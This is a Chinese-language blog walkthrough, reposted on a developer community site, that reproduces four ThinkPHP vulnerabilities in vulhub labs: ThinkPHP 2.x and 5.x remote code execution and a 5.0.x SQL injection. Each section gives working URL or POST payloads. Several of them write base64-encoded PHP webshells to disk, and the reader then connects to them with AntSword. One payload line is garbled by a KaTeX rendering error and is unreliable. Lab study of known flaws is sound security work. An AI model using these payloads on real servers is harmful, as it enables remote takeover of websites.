前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >vulhub之thinkphp系列漏洞复现

vulhub之thinkphp系列漏洞复现

作者头像
网络安全自修室
发布2024-03-01 14:35:55
1560
发布2024-03-01 14:35:55
举报

1、免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2、内容速览

在vulhub官网中搜到4个与thinkphp相关环境,于是都复现下

0x00 前言

今天来学习一下thinkphp组合拳漏洞复现

--学如逆水行舟,不进则退

0x01 Thinkphp 2-RCE

漏洞简介:

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

影响版本:Thinkphp 2.x, ThinkPHP 3.0版本(Lite模式)

开始复现:

1.在vulhub中启动环境(此处省略),出现以下图片说明搭建成功

2.构造payload验证漏洞是否存在(在url处拼接即可)

?s=/index/index/name/$%7B@phpinfo()%7D

3.证明漏洞存在后,构造payload进行一句话木马写入(在url处拼接即可)

?s=/index/index/L/KaTeX parse error: Expected '}', got 'EOF' at end of input:{@print(eval(_POST[1]))}

4.使用蚁剑连接(连接地址为:http://ip:8080/?s=/index/index/L/\${@print(eval(\$\_POST\[1\]))})[1]

0x02 Thinkphp 5-RCE

漏洞简介:

由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞

1.环境搭建(此处省略),出现以下图片说明搭建成功

2.构造payload,查看漏洞是否存在,是否可以执行 (url处拼接即可)

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

  1. 修改payload,尝试写入一句话木马getshell (url处拼接即可) base64加密

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n MTIzPD9waHAgQGFzc2VydCgkX1BPU1RbJzEnXSk7Pz4xMjM= | base64 -d > shell.php

4.使用蚁剑进行连接

注意:由于写入是base64加密,所以蚁剑连接时候,编码器和解码器要选择base64

0x03 Thinkphp 5.0.23-RCE

漏洞简介:由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。

1.环境搭建(此处省略),出现下图,搭建成功

2.使用bp抓包,将请求方式改为post,构造payload进行攻击 (图中标记地方均要注意)

method= _construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

3.尝试写入一句话木马getshell(base64加密)

method= _construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGFzc2VydCgkX1BPU1RbJzEnXSk7Pz4= | base64 -d >123.php

4.使用蚁剑进行连接

0x04 Thinkphp in-sqlinjection

漏洞简介:在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

影响版本:5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

1.环境搭建,此处省略,同样在vulhub中搭建即可

2.构造payload爆出用户名和密码

/index.php?ids\[\]=1\&ids\[\]=2[2]

3.利用错误回显敏感信息,获取用户信息

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-02-29,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、免责声明
  • 2、内容速览
  • 0x00 前言
  • 0x01 Thinkphp 2-RCE
  • 0x02 Thinkphp 5-RCE
  • 0x03 Thinkphp 5.0.23-RCE
  • 0x04 Thinkphp in-sqlinjection
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com